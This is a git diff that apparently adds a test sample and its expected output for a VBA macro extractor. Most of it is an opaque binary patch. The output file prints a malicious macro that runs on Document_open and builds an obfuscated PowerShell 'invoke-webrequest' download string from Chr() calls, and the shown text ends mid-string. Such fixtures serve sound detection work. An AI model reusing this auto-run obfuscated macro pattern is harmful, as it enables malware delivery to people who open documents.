zpf1~>n=9&8=Ux(c5c877IQE6-`PyBt+sQ>_<&?%=NthPI4HKOGOT0$ZaVq|O_ak^0 z#3`__SKgDkgoBkf)SsvDi%*AtJ3ptdzC21eh`vLm*uKqpaMA&XO7H7khq;9hg~=6 zbfyO!aoB&`@Pzp|D;w9&>17&II9qDXvvcU)_WDA_RWEqa>yr7~o^M~A^x|od%VHb7 zTIJTLSA6h5`8w@7cP`u2GtDl|G*Ok-D^sMqK~F(4FpBOq+MK)Hb3#kK?f@F9Q5&kl z3H9dy%&MqR99NR#YkZch1#8un)*Uk?2$vSXIkG4*x8By^7;iw>W9Q1pD%4hz*ytA% zE^q)b0ghtS*KE&DNSIhtekh%(tdO(qxjY%j0ni{TG~Rl?DMU#%1!BEQ&cpym&9BdR zYqgT^L7}-o54oeL*Uz@taaVH87Tjn>rYCQC@NQBIVu8STm-(jo+w0=g1ERRJ;pnW% zVTG0KL%f7$6!q;Z?Y9bS(B?}G$>`{3~93tgg%6Y^h0 zp7nLG05R0<4_att@62+4PV0Fqc|}>{SN*3jhGxj~lDo-k`t72|X+mGR3rb)V_~|sKef-Zjn+%xe)9OUilb7qPS*E! zpgr*Jnr~0O6F~|mm2-w~ba6b##nz)z1srE7sI>R|U8aVF3%!IR!@+k0zMF|cPy`2n z*$&BOxJP9+chdXw=b1$%e8KRoxm5J|EO=Bwusdla6jl!9CNDY$p<*#g90NHv8~w8%05wM92P~9H(8}5_+Ij;ialzg`Q|m=KwZ;3+3G+ zcu!=z{114Eo847x+f?U$m8zp17Q=V>=hk7Wvih$Qn7htgHi)9|Tqs{RHFTxc(oXAQ z_cM-F+c=|f%3*nGXR4CK>B(NXz?Y7udv%5%Q__rOA9iZF z7tS}0iwMQkk|`%`ZMC%Clw-lSg$73TO=Zhk$2+Iqlz9+BtAD#MpggaPTbr`+Hl7i( zw!{8Lut7jYtD^Y*gBLl+z8X#Jd1I^8@$9d;Qu}9<)%SBb^yaKP#)IKos4{K60uDEI z+UMsaC%%SoU6f~<=Nl2+zH@}4Q7K@)!K~&JI;xj5|NH##I|f0ddC@Qd>mAL87uu~( zbSU@#$q36nDIs~MUmFr`QuJ2h;u7cO>iRqG=56#z_B-+ijZI%l4qeD%yE;pqoZ7Us zqdqz%{B2sWjn7x2ls$YvD`|a0+gwmcNc(KTn-ZNIPq-eVE_vi3C+Jy*8z8Sgu#9^8 zQgSzp8Ff+NGQHqLl5cW5V5t3-^vtD=u4I$%IqTrW(4`nb*OIriLgetN$V8=5<6x^R z&z_B-?&#P?NgIb%R$T*61PG=cGo+98eT3O}@5FGnG=z@vMb0rkkT;n4UK5b&78{PI z5vJ#qWp86ShG?xF&Bq9k)E@RJW(#UvDisfjmPui@yEHc%9Y{D(MZP-6rj~u~rP#TM zGZmqCFDtJ3jvJN;jlGSNk!^it=&CITxNCPXcm13Dip;`i zPZxT%9{mV@x5e77Lb^*Z!@b__FW;km<3p=;&M;O=kU<oT`w%&um4oT$**QEe0Qj^{K#fVDp?QrO){HDJhSp< zZ-r+zT|4l?IOLU_3Av@-?Jd<6#X#0Ya)_JWh}7jcLkZAsgb8+(6j~n zR%l=$+u(PA#7CN};%_=7KQ2Aklk*k4Tp&At3*LPFcfP{QlC(YWFu6l7eoecdvvpP? z2a~<5Rg_*IZ^f`vJz6uAkf~iTicbbuIYisj;ClC*mN?-a zBZYU8ns*~3%g56SworWB7Z=!?=$>A_y}|6|)P6eUNa~EV3h{obh-5J2u_Fb*EQB3ZV!Su3(qEFxV35`C> zU9%z1nR8pcDqidI9lLRL5w-EWOQz57E?m^Te(l;9d$+gHfe?B#SPaLZ;2}B|myUUr zoP6dFWp%z+A@q5?j~x!LsbAf?n2NnJ@?Q9w)hlD0cuA(*0KRc|k(;34Bx;Ti&fZeM zMV&--)nmPrdQ6rJcD>uwD4+EuOg_sVoDDj$&4J%i)mD}qGlmqHT{`t;EJUrK52;pq zIn{$Zg7dWlOJwx=uV@#^Hul>o$c*fjywVi!n|d=hoDh2K36mz&Nhs%pi@_zc))_4q zn#fd1CphFk(j;G-oBaIonSoL!+ikrhSvG#FYdpnw&hyj7skiwYePag)OTL5g$2^LmBidX^nmcq2%yIlPe9$Qlfeft*Yj#T5T8vR1F1B>G+Rs} zg7v3!)C1c0r|v|sL`1vT{zS7&^xfObBE2eg>?VthU_hDC~ha{BpgzZu@S-y^<3g9Bc2-ikxk^;Op7-zOkvK3-U)y>+7EL zLkgm)Z>(gEXy4qD+IBe9iLIo_2s}fmGei)jY!_YD*RHqtH$5;Z%(@R6RXs+Am(Bxe z2OKdEUS0K#DtO~Q*@I#d0q~iFy+sfF#t%|)i-8{9-x{Zjg&RB~+#R$K{!7ds;Bu`J zY<%DDQJOqh5_lHuzL3M+{^-4#II(DJ5>8h~>&zG(D;5oU4OTKO7k;ue`KY!Xy<(?V zc>JM3`QjER{~~~x#`(*ghE}V6*To!DE)(A8P*LSZIrf$`Lta!`u{GKB=&{~QF!w#5 zr%vUzG~Q53{}E;S{&Dl9`)u^bEt&mO*8J@!ZitLO3ziw>y`j`AeAOkiM9JvE6{m8> z!HHa-fU=`=jCOKOmldJ-U7}XDlUscBj5$K|guBHD z!Xv$fmPHSXyNX?*ENVCwwok87hbNQXAjO@h_laAf3L;bF$Wr+44v8>1bT8 zRo4kzw&6tCvKQM+i?^)bl!c{JZx)CyvYBXW#;E1Gh3}2-nP@MT@X8807BIM(h_fn) z+~_~Gmt%nG;E<*m8BKk~hXnO`CIbhHQY~t2Z#8g(VrN5HwShPz3ijRZVW+HvjJkFU z%=cg&wYjLwZM>HS^?%Z#@CT8SV}nVpBBNpmZsPfiOv;0;0rW*7k@va9F*7oppjTF> z?)OVT?{u?PIJbX7=h+qA&@+B()EJ`-Bho9z6Rr%G;nvD(6#*7^cA@DK8$)(pL$k1) z=K^e6G;YS)vA-`oyQJ;m^4S)x_>+1stLaI{$P+$O$9K%k7Wx8P{05ur<02iJc1q^q zlj&`;^_s?yN^ttT5^>_3KYEaCv8f`Ile0`;&n&`&`=GBH$E~Nc@_5*v@I3}Yhcq-y zw^-y9qv`2Q*JGTPKTkyivSw>{z&H={r4xaKTRMmSZS6W~Altpn37!rvTB_~zVP4;)*%2;Bi{Q=emHEW!v?%oGC-wC~ z{+yT`iyo+H#pqaT4at>)CD{jf^6vmD#T$)=FPSh#bACTDp3*YBu=;Hv#EgG9S^T>h z1Di!fwwZ9@w`X{Zes+nol2~)_ZggEIoJ9G~)m$lp>7mv zFQ#8(2S46Mjr9=0AlCJklq*^{<;Tw5yy4WVe53!Jh;CRR)L=V0<2_Dm<03cp`U#25 z*3ahI>zw_!DOC~I;x84*ee~9bzbKZtcE4G+DOg*74whFwY1R&8U$k<|q?5W}X4HJ+ zF~x=K*;+ra>uhY96m0+IgSnmNRl|q;Shcfb!hNYXCNP`jlOB%E!VlBorewQsTO;)@ zYR)k;mTa_7s*3F=(?`juNey1T#g$**d^0 zDPNeh-`VAbE28%#_;;9P?t+rJzs?)X;g2D4N}Dh3f!|q_aI$o~LBKvkoEuP9VyY!V*#5xYxJZC_@T*+sTl3m#@>ZCLK4WAKsM3BzbEw+6g zY57wQH8+VD`m-Afw@_8VWuEf7?d|(Nz3|%y&9Q^9ZPk4@4w+=U)cMT)$$3t8nCD#Y zHeks~%z|*Pnt2*mT(D!#M1?Ji*Vt~abpdrrMpp{^Xv9BsQ0Gp)pbY%zgjfKwmmZ#8 z42|Ij5TZbq(FI)*WR_c2nvbyuM8`(Tf*yMQD(_!ZBiYBePOY{*`63vq^wot>hNuSF@_s z>B&^oHlQ;+&Z1IzzoV(q!xg@j1RN+#I&$5Sicfj?Yd@;ZjO-bxoMJi0+J4PgC6G~ZwbOG#dyzSpDXo32-+|Wn;KeOa1wLwk z4*RVUh0&6d0R90JB|dBk&BI%s;pxe@-rddL6*l&0Yw7T#W4qBJvP6<)Klxkw`e;=5b=dt@SkXl!EOyvT znc=)nN}~h!Yg8_lp|@kF3USj94AK{8E_gzQHL6}x0l&X2$j2ebsH(s>=V6{LN$Wz~ zRV$4E%GPnDch>Lo0$>n!7zFWFq4-fCBXJ5%LIA#y=E|OB|M#E^gAp>*;M)WQFh4zc zK`rDR3#;U_-}BS$ET$8o4hFUNRg$=eZT-@8xETa99^4I(4EsaozEre`0G|G9uD!1I zQ^a(@k0?|ja$pQLPdN>HxE{pm;TCyl(%&yL67Jpd#2pI95lB{01aIJ5T&@QT>+wkG zO1wU~o|tVwrE7<{;)+S(1?GW^cx+JJ6W0Mbzc= z>OJZLNYDE9Wn~ z6B&C*{s0^lB1F&v;NGfqdUrklE(Jy~b>&UO8o(g4Y6roQ^TxLI5(7%k+40MLFzR)+ zU-OqRWRb*}owZG#{j#?O65Ji6Yfc+mJBkSN+~bm*+V27#yQ5qE0VZ6apM%v5=;OUi z6RP4J2Qa(Ncs@3P7@so7f)#bD<&{G8-wtjK_b%1i*3#V3E18(dmpDDf&Kg)j1R1S#Bn@L zk(}O`^VA3J4<3iNj&y!(ji5Q{YhQp`Wv zmN;ANo^#KjORyVAm(Cuc_*J;;6q^N^(l-&_0tXH5_L`^#<)|J2Q~i|E=&f9#&)PNe z4lp{!)Ln2UaAM`^9L%L?-7J;^5Yj(`I+VXinnk=m5v$+?oh{&m8i5|8{8T`}C#j9m zjD=e_O;ks71SWKp8n_?1ZAJO@dQ;qr^z(ns+s%$4Y9|i5G`))L%U)c{@0I{GU9wWe z1F?1uGp&i%uEgkQu`8xK7K$sSxw(61FSvQ%gd;XoLtbnf&dmsYzs?lIwBT2m&)1rJ z#+^$*G^M`FzgjF+qa>w?Iw?R*UzW#UsRE`LyXj%XhyDP_9;3sq zg30j*U@km#+>ava8|cMo6i;5wp=O+ju%~438rk;1Y8QZpcm;0L5X=}{!m(29cFi`h z0Y^lllBom(oZ6M{Er;ms4nyAtDVr#{KM55&shark>WeC5zMuJo-LsclDL&N%Ocmzv zqc%@z=G83C#n}h%tOY*sq+7Gk?z-Sslcu7Ru+tz4su-?bSCX=*Y{5R~KVeC_Y(ciK zX~z;2JL|WE8+ZKHuE9_{RyAT2`Z&tdvaHm6*|rq2#n)wv6XtDpHW2bJ)z->#`ul9e z-+y9%#!7fcYFaT%)Wu;F^~<90yvApdSTRi5dvmIm*~uZt>pTdZKY=y>fE)P>7_s_R z)kgWS1^Vt zeD3OZWU(`O(uw^<7Owv_3`gu)NINOm)#Oj7#{ra9>*QTQF|*;7bw1!6}-xkkR^+6aY1kFG>z=1x}Pv={C=%~z`i(X8GF z?=`!vtWnO4{0Yh!55f4f11~o)ndO9*oD7(Me^my_{e5q4S=!a&gKAcsf_vl60h84C zIA}2WM{IwuY8t4wIURyMT&eL_SDIs|Y$MymKQdf%CL>x++tqb#du@_n$*w`lPos4g z=tGba?s)Z~AD=_nFW646np;0Iimp*|tx%4CI0su0Hj1UKafogi9`@*WXi6H+({v`| zWdoq$GVEho_Hm|iHXU^hIcu}%QOgXiwa3t> zL#qFT75WS2z=0lS{?Hct1w@7Yt0w;ji11ul)D0KL4RRIIP{UOYPC0 zXsy3PF8)K4|7zGD!I z3(VI)1%mxmSY*t=*`8UcRP+BcVIwl4ZP&qwj6X&fWq{}+P7qLJ2*QswdJpB_m6y0hLz3qOfYgzl> zK#2c?HMkmslP`WapS6W5wXldcl_JR%S!GrE|169w6Rt5O<9++O7d%URhT&mLk|R|I zUYaLZagPnhRqFh2OFrMS?6ytrAFKj56qJK)l zZTbD`l-DoeGlj(OUNxS{pBl|sn9^djDBmOgL{V;oI8YD}dHpX?R78B zqaE*p3M36wJ4~S30bN2eU2E;9El|4zfv89P9k5antnfHiH(&vx?Mq#=8{4p%`4*_F z{>kG0zSIAt?yrT5fJFN{i16>m=3i;_zf`QNac&E9OZV6v!S`*!7usfF)HgLE%cQPH zjC;N3M8CS-kq~zwKC(2W*=rA{VH-=`K>xxaDQeWav_t+XznSu?Vq%OM{F#p+qxv1T z4?ya;uFdK?d;7f7jcJL(Cz|C12>PIl)O8qt!`#FJl@ydQ&~q5y*^1td5nW7pXsdlr zeVpOWwDE?Q(7}|6%Bo^*f8Qg~+6O+P)?BAw#`{)`b$Ko5@BG~94mztJxfvyF)Su-D zjXc2?rU)%Zkk@=lZ)5yu;Sx^1HhUMn_P4H3aLyx%qsg-Y^K%Pju@>z73aK(_x4Mne zJctu}cRldEamjG{Zen4bmu=$}(0;Z0KL5*!s(||Q%p2*Ha+@Dgb^CyYjmr$S zKrh)N#3VMy{rX!FlDckwFGDr4zjOcn^S&Vh_QiY5?|q#8>MxM9|Hh+c(FT-9xXu92 z`5%s?A>H3^fL`ITJm3-u4m6rkhZ-xErwVj3S7PPdV@rR``n`E`M*r&Wy{5p`534Ur z8Trj_Q;c-Q6+6xcz{JdQZ-Fcqwy;9x5uKFr5 zD58C1JEhDo)70EykN|O3*MuBnEDx_D&6R;!UZ}O}v-=>70CSKYT;jh8(ykXC_P6fu zFW}c*x1zw>j%EMJ%1^5sVaZC~ZGa9u>@SpT3YqRuweGCGe8AwoUmHNbF;(XiX*gv& z(ZS`b4aEdaIDY_rULTc~lo%Bycgex4_YRJd>0Z^A{%J{KKs&&=3Ocgi1P30!V{p8f zP$p#zVTGA&WT3Lv)AMWAYSuWBo;XNw%~H!S0iqmG?iIWJ`q54GM4FlHF0VYPm-RqF zb=w(cBeGb>TOrE96+?#P_w5&n-MqxyppVB^DqhAL1Vm?%8N7obwWU4}JgCT#K#mzS z1wx5z%6J6t0NzIL5qO<;M0F{V-JarWwySe(b1*sM?;ENPP!y3@20SZL_aVXfo!zc1 z(BcG10IbUq-}K=4=VuuJb+QwL=)bfKBQp$Fca#K%%#<9NU}t{Ue@bZ$Bs1hfl_`;f zjVmxVl>{*gbtNKsvlkHex0ZMg5;aoSW{u3HxYVw5ZIZG&z`Lu6_PfWKQ1Ezi2ORC{ zjK;mesGe$i-)l116$9{|gp9z`1dyqa=L6itdD0_0+N~ysz=kp>5_%hqYUZ?sK;(0s zXG$9)Wpn{1o^I_!1g}N>^FLZwWv08Mp#;+!jGL8d_2+ezU@Y*9HPf_RX!C^aOV`@9 zjeY_o{_Xok+uXYmDl!e8QozJ`ghXZR`MfW|!!5#w)l;*u4m_+;)2M`gQ8hipGHw0$ z5X^*n?C=Z{HYO&TWE<7!^-;K{1E5D7c7&&!Y}nl2^P8%$cm}Ci+;{^h8*iY{Vu>H- zTP$Ed>mF8CP3oldK5qj;_QxN0FJ`{^yoI`SFQ8*3Z30HDQ>_@n*>9mhnjJ&ReTbkb z{)fM#MWBHtW??2eDdEwZ7glho8y3CwUDBABsPswL#-P`*%t}xSO4nSE^n(BfEid5_gug@S^3`RotK>D=A=pdw$Vz!GT!XmfZwi3 zq3T-J_Cepli^2S$;P~kL?)_(pAlvEIO^afN4MB1AG#?mV>cu*4p%@ygNe+(>86jJ! zrMD!m5I}i_q2sqFZ0iw}<>1TJ`9o%al%H9Duhb;irDhfuNzbK9_TQFWm;jAnW8FM? z-Hwzr9`I4+7n^5Fa_?ct3d4f>C0E`uu?Wg@G2G7dUNWE|r_b_;~YMNnL78Pi({*nTwY`P*Oio-Bv) zY@vt-`{vk=iut|UYoFB~bQR?YIZll|nCA*=+{Nl9W2n|_3Q8N5&MKA10&NOo<0H%8 z^FN`v2C1mW>ZB=EXFoLRdvA0YYZWaz7J7%BcBFmR4xr0;)Y^p$jZ&PK3E+mP-IU{*>40nQ`P@Qa>4S!p-U}vbUJZ~ zIXLsiO`~n}?}|?S6wD=WmqDAtZ^bh+HF~Ny1<)di&mSoXyM*&Lq3pIYzXs09`UG6V zDRpyn)iam#I^-*Bc52vzC(=H&KDE42zaHozxRRVvGR2v)6>c?d9+=5Y+h1>&-jV93QJm$VpO@v-2HV z#;pt4ek_#;`iRHh-hYw4Pi-do)@$0kBxK5+yMcZico~gj0AX53uZSY`jO=F2Ka%Po;A~Eajgx@HOWY=%C zvoMjbRp65bX+#bqj745m=nKK!r+_6)-JsIHiu40oHsd@o(eCNqZrc$Wm^#YBKt##Rs2e#~%2&>(RPqaP)d%0Vsd1Uf>n9{XQ(CD;u^fZiw~S zXdDc;BA|Lb^)s@uma@5mWRu~F%gzlScZ;q_UPE7y^Jo?AN8FfUh zZz}DdytHNtyuP@51krY1n4_(bi=XO0`l6Ff-|0<5efhEAa89Uthp4nWw{&w|;P*wU z!dkAU&A~jyxpZHqriU!=J`xW@OLuMEV(ED1-npnfuy2bHv1*Q)je6Y|<$NhChOVu~ zEX9W-D%1Rx=bIgqCZVB$fL zxxJQvY<}@gPI#4ln2Qv6TaeuDV_f{#673l)=NB68J0{VidsW;wT&DGg z4c<$tm3v&Q6d(R0@{XC)+|tl!FpF_@UemT5Cwx>;b8Y^E{Tye@5Du;aSIMnNzEt^| zzC(OfYf8t2y9^pL8qs|7`VX$GoUx+PcTKxb(b}(5%N8UHYHy#7f4ua~)Tl&2O;NsS z&IiKBsE3q(hvERzvmX~<`BDD$`I~L@Q|#i1dJ4{M6m49jQ|R+Szw+RmI{%Fk?vM9U z=7a_{oq9cxe^eN6&nB{H_ukB!wfkZ9%9@UbZe1BKlG1+Yb>yDhljgK|U-c35ks%B1 z=!y_ywD~QHXP^#U_*gC(jWWv@?@f^%7 ztxm2rZ~dy<6SgCpv@Y5cLNzSikSFeUTv2Y?OQGp<^`m{QC{fL!9ynf$(&(_rGa_yx z%yZ@C&dm`px3JR9`0%p77^?ip(;&kpf?bOG<6wyJu8^YPQe-h2{ z6)!VgvMT2|s!Lj5&I~^LOJ)oAwsyxe8OeHu2?J~`$~d?ie&s$VIp?mbi( zsy3qlTon~cEo^?C@)P7Gd&x1~fzYnQ?Ult}gkj6U9pTL?*jrG}lk_$hy# z6Y7` zhcTVYcv7xRfD)?Ev=$A^7W3Y3RlQ~d_MXCg^!;N2pu-x4@2Mm!&i0>%y$GPwH=Jnq z98k$ro#W*pz4Li~oRjIug0@VmR48D_658ta&@8q-gNyJE0)#$UYh)rb31k3|Bjy4suGQNhX05fLM5l=*~c;)L-DWed9w|Q025Az*bcgTz3Y*rF$C3 zWE954po9a;}seZxK&&-e-)Sr45^Zp_d_iJM-HBU z!tG%b=`0Dxcp{7>h~x3gewT`7U4;;Z-qYE;QuWqWrxV=pbl1M_nOJsEPmmtK<2zQD zF6K1)Yiq8Q4BY>`=0+`af+dcAsE2vHYu@lKtCPf;v5`EZmz zS-lQKp78cyQcI`qCJ|xSZesn|_RSF}X@dR+uai1h>8YYU-!kJA+2<=xd80+?s4fX` zS`$5#hlm@-ZJ}5fUrd?kWONa*h+uJ($8KKbR8Sd^CcjueVN-zvi$3y9SSK}j^>LAE zOb;YO-+F(LbH5bjz)x|&uZ@iA-{Z=XqMrvN7cvoG`-AH2hJfl_>g^eIn18T_*ES)N zlI{M}zje+8=8sBIK_a!b1$dVt<;933JaLx%S+#yo+9!3#0`}mjFnH1=Ukf}>&IF@* zrx&graUB2B8R98U*sCX49r=a~@=k9Q!|`iNF&WS;Gnlx_^IyxyZSnS8KbMDi$LVkD zCuappgO~C{p)*6g&k#H^KRs38tq~mx_1&^%vY7cH-jCLCs69u;XUCbU)y?m!N(nR= z+2OCSB?ePicg)aN$DIua6|qRecJn{3z{GAJm_e3sU-K)MhIru#bCJLd zGT2L!(gIlRVd+-4RZEVeP?%6kWCx{o_hEY3XK*Im(|eKoKV@TXax!kA7Q!;JMnTpv zQ%UU|7>cB98aJ+6c!E5nELx!YMeMKzQ*9gt9plYh7dFdvS+1g3^*ikcYl#AX#)4SN8Gx2tl^W#K z@ji#lm(`H}OjlNhZ5>ppJj{>*|7*kc3^*=YKm=WC-+vfR+%ye2=EC%a3p_VDKW>za z<4wUHhAn>x-2>S~WnO%BGe=b^*|U+*PQYS!7MJEg`qa7cfgA6i{2}o=Kg~!#@zr6x z`#w2^Vs&T&MpfXwsX*1yuIgnQ@Gw0W2o9CXiyZxvU(G%^?H$Wi6_VS0l{L6>f{(XH z0KEdP*&@mvs+hz3FaZbuC(KoF1Iyx*Cz>?lu{0y~jO)4yg=V_~!P~ zkc`e1R`quU7xc^*nUJmpE0Gv6KMdRB6i6XI)ftj;KW2aVca-=0pv)lVj8%T2%_-FA zu?3iwA}H|5T1PYb{WXLiD*H>@OXQUw84# z6q#Jy&o@8%B}@9*m+rh%N7+csm zEuEgX&Am-cZn0WaB37cd4fNts4R_~m2ynJ$MG|a1q*7so_~cMCgjFMmzL%zQ@20*< zKbLD}Q6M#HT?p%Mtr_@sLi|YQQD2?3_NLhjjQeOg$az@0@PgvQ=?Gr-Ky`VGLf(cZ z5A{;vkGN#fR2TJ47TMSEVa(?(>uILYXd(D`# zg~7ik!CmH*ntUrD@4nW`ZjfBWCbpQBVyU~4P56L-qZo+VlHj<+g1UCKZo2and;D$d zz<10OT6>;y$(vH-vb`*)jV$`=S*FK^=6HRTW%|Nb9rusvXL<6M>FcR3p1*Atcep)* zJZT%y?w#H@-<7%NV%J`wH>E}={9 zC=^*}017<%!)DBjegA;>xtrrz7}r>>Se}ewT$IP{g)AMx0o{V^iTk z*5#gy3cBrSE;{OGxzRSIXvVyyN8s*W@Q)`Be6=k4L(%DlF^8D&NA$oRe%6$eV4~{Y zScO}lCbGwEsq>;vIjQdJzH=cj_G)ZcK&lEr5+KjSy75OZn5)9J8@7j5YvX=rOZ|5F z_Hao=Qh6WMDxy>o|p z!><*%XU`3{Z2HgmWq_sd5KpQtwz)cRFOZRXMmN0~KY@k&aHK$W^=3^uJ2jKo8| z6@ksiqlvEY<>4;rzA&tjj7?RyG4>jeVWu9e(nn}m_9}qVL9YicC6bVa@XDaCz4h+= z6QxvQJ39?4&v1;`<_hc;xV` zqj=@3{2@*c25dgo9ieTm&<~!Hz=ih9m3@Aq!AkFEba3Viuz)M^SA6%jIzuD@`S@+h zUR})=cR;awcp=aPkJMZTXG79uvd}S?qj%3L{8dTIP^X-bGs#2#7N!38yibU4OW0Zz zVrLcTs`#+sy_TWgncR)&nF9#&j-fS>^kvK!5$2x(eUCwk2bc}e#hqn{4ULMezP_87 z`77B#c;)HXN_hPo*qdmib3-#ACCBFbAi3v^I&!Lnw#@?I<@{4)x0yCSKU=(1yik7* z_Q5KL8LgWCDamwk3bdcSN;+ycYq7fHv26@6AM`yxo$lSwL}J1Y?6?3G0F2yMQk@S( zdwkceELzcg8{h5&cLv^YS$N;u-r-;%sMV_;$B^BPwNu{T-o;7?IfQ*@laYO$ly2(M zGQskq`nb3GWK?#D1=Asa-{Fbrr3lcjt5LSg=! zJ+`V^D2qKDHucRJ$epLHxjouQS&oGlJu~z5(qDjirDvy__M@%Vc@TbixL`a|xm=Yl zc<`Z7-DL|&5o#>-V$C%@nA8Y7)Cy3lB+`I5@w;;Ews)7~emMM7l{&k+AH= zZGS?vU3aeEW(0KmdP5N*G(X6Fxq40<*VMB5bM4LedK_9ODdAzzMW!u>w+j49;MKqC zraJ?F(giK_L9Oe7mii6*_**ZHVF#uwf!+b`v<o)yIgc>eL6gSpZNgKKREg}lGL!W%y6}V_eds<=fWG`C5;^x&HMWncL!F)5_yJX;j4yt|5DvW19Y&kxMZDO$b7yh;A$B3RG%2Zg#F6L6}9NT(zi#ALi{G~ zfW2)R{M3p~IGL6L2ECNeFS~b{k+3pLaA1aQ`Wz}x9F(wjt&|B`W)HfZUKGTdHggrC z?45S970~Ltl@6O=E_8c7rN4QN5p5|O&;fH1PrSGBe>tqOB<1y>;fYfA0p{hQrf7fd z0DOM3B(1B~ljc)yIFk5rA*epbEpY;l^&#|wABz=P@*|tphQqHre#)nS`*`TvN89z{FY9P2X-qeFXC};o;2N0ZwiMpuC+$OusDt}8NIp(LdbNmjiVHWn zU4x`ckl2VlVc_jkrHxfgfk6Jl6!cN1dW|LRJ7-9EswYE5N<^5)D=?RoczW^#E4rDkwvTbiW(bW9o*)DB8#D?LN^OlDdA~?fUEF0qrshPl4K^r!2t1Yh zp$efsCQH8!g}+Tg&dWvoczT3yLNOeyUw00rDw{Fl5%*OG6-ZP2mr+iAo$tmi9c!VmOjcNJ~NuKShL zlcn#*|Kz}#rRjNeNlP!vfEJp7KuD}pv^7G{Vp=%n-nF=Zan9{;wdYqgP8QxEj~FSm z5W-R+KM?CziVx0ocgN`Buz9MF@!D^LIS_UaL>PBAERCYF5Ck+zsBT zRw-EF3qCQT4`--Xb1*)S=gBWaRXm(;hf$#U+amkOCEjB|)l2Mau&Yo7?L)~MbIl9N zsJf@nRFNfJZHQC;$T8s{HDt-;{y>kGWnyz~fC%Sv-g7T&1-^wF6SC%1f8{xs>*v7%;wHsDk*Fu4uCo^|b6xL=QIS%udWbWvgL9;aT< z2wsuBx4_8@Q9T??cXOxJ1kY(RIb&llMfnX51w~TrVr7CVEs0r+4}^A4XPHdSjH=fD39g(K2uk0ha&^WwPs#R))e&mGya_qZGx%>56MSJome|reo$a0CITa+1C z2`ohhpZAJ*;Cz8AOtI$tu;#`6o0Ut951G1yiX+4{HPO@cY=^Sgd#MLkRDiBY(8^FH zy0j9_H#47|87lKDRx7gk^O9emt#M1)nb*Ka`>Q#xsZT>Dn+c4#+JNMo0JzDe2w@3h zz37wgm3VnOq+rgaL+Iuek?d-^GwVGrfhKO9$|cj5&>Fu)zlyAv=G&W_om-I0U9wHm z5^&HRYt4@WY;SNW#^&ww)i1wNSja|x_q8HNzu53Zk8ITfg^u<}nKE(Rmy6;?D-Sq^ z-!#W=e9y$U+R`0w!8DCzIn=$dh|(^ncT(K>>fWk+zD0kqxes15z`dcq!pa>rH1)nh zNGu_i0l~V0u)(Iqt{D0tOThZguvnZ1&1Va{h^D15keV5~Fj~rg4vB zevGo1X9bzgSYCPf0cpm+0BE{pH6!>rt}8REp)|F{$L>mg{`};at@E_C?si6rP^ilG zw5aEyTkv0O6-4*wd%5IJ`Opf%&}Dd{n4alMK_xJpdVY$O?ON!(9g|`~3ufSMKsMzc zZ9EzXiagsnU_FxA7h=}p@N2d9mQxf`Ng{l|LT5rOYK1$l13)l@S+GCHiXtQp+aj87 zh@uSx`hn&0eA!O1kvp3{Tkz;K1Q9;1nAi3_6bDcJHE=Vd#7hY&oH4p)d{7!u6ci!(V=CeLo&01cM322#${H`1ZDmBAOw)PG^YIXSb!8F;0*;3dY|t zET;8LabR$9!yVY4Npoe>*$B!__B>RHzNK}?&jLe^M?_?Bp1j5#iGq;m1uKUjT$bww za`5@3U-pL%LfZ^_%XxKN0%3=Qji%(_wUI5-40*CPU_QS1md@*Jd(|)7I446d|J;+8 zSX4Fs_$fcRWY;Zlm*c|23^l!_Zo6#VO`ezy(#+r|14D(Q@{GS8}$#wv6qPlfyfTvo5E*RwNFFh$T_2YimI zpij!(GBLpWDQxkgNj(r|GHV&^t91w5WHclzHxHBmRScJSuCkfA2`1sU zHAq_70F5J^^5b=Uv@LA%0anPhb0Q#)VZupaUJ46SJOC`Bk+9PR4}0}60pvbyZ;lF@ z>GftT5_;N0M%mn-1KDfd^NC5t#$3iw}SfboWM)dDgaY3FKU zS`ny!i$cf4N3|rbeR6!*X2+}ah0s{qAk9JQL8|w*5FLfkMC)HxW(G$Ju&)T>JK53w zNF25aHMk3W*_!#^%2FQsnd&Ooj^|(Az63_Db#)&@a}9T3T}dNOd5m|*CHn5y)ux1g|LmU90Vg5X zuQ~yVx8N661)jH86>|Y2pycGK>w% znjOXZvT4X0@|%+S{V~8dlrB*vL$--g_D0~#ZqluY)Jme|X-a{`?+`SERfY_p4dZNL zBnG;Bfys6YX%$_AtYjnj^zV*c0LIhHX*XAmovXEB150VK%T0m>%ah-gGKF#izU}PI z_~eih9qkeT7MgviZAX_5JNx8hks@Tn1t?C9tC+BJ`t)~|pFn>fZ!d3i=hWzz#H`mg zVyWYlux>o*b^->vpvCC$K9pY{sC!hP_TD?DgVbz9&k9E{qBTOkEz3{Y|92tq@ertT zuzQEBP Jpjw|e@ei#wuJHf> literal 0 HcmV?d00001 diff --git a/lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.out b/lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.out new file mode 100644 index 00000000..343ec18b --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.out @@ -0,0 +1,46 @@ +has_macros: true +modules: + - name: "eviliphone" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "eviliphone" + Attribute VB_Base = "1Normal.ThisDocument" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = True + Attribute VB_Customizable = True + Private Sub _ + Document_open() + lllllllll1l + End Sub + + + - name: "iphoneevil" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "iphoneevil" + Function lllllllll1l() + Dim lllllllllll As String + Dim llllllllll1 As String + lllllllllll = Chr(97) & Chr(81) & Chr(66) & Chr(117) & Chr(65) & Chr(72) & Chr(89) & Chr(65) & Chr(98) & Chr(119) & Chr(66) & Chr(114) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(76) & Chr(81) & Chr(66) & Chr(51) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(89) & Chr(103) & Chr(66) & Chr(121) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(99) & Chr(81) & Chr(66) & Chr(49) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(99) & Chr(119) & Chr(66) & Chr(48) & Chr(65) & Chr(67) & Chr(65) & Chr(65) & Chr(76) & Chr(81) & _ + Chr(66) & Chr(86) & Chr(65) & Chr(72) & Chr(73) & Chr(65) & Chr(97) & Chr(81) & Chr(65) & Chr(103) & 